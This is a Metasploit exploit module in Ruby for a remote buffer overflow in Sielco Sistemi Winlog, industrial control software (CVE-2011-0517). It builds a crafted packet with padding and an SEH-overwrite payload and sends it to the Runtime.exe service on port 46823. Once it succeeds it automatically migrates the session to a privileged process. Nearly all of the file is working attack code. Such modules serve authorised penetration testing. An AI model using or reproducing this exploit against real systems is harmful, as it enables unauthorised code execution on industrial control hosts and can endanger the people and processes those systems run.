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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Sielco Sistemi Winlog Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in Sielco
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          Sistem Winlog <= 2.07.00. When sending a specially formatted
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          packet to the Runtime.exe service, an attacker may be able to
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          execute arbitrary code.
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        },
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        'Author' => [ 'Luigi Auriemma', 'MC' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2011-0517' ],
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          [ 'OSVDB', '70418'],
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          [ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
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          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-017-02']
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        ],
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        'Privileged' => false,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
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        },
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        'Payload' => {
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          'Space' => 450,
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          'BadChars' => "\x00\x20\x0a\x0d",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2011-01-13',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(46823)])
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  end
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  def exploit
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    connect
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    data = [0x02].pack('C') # opcode
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    data << [0x0101].pack('n')
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    data << rand_text_alpha_upper(588)
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    data << generate_seh_payload(target.ret)
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    print_status("Trying target #{target.name}...")
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    sock.put(data)
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    handler
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    disconnect
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  end
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end
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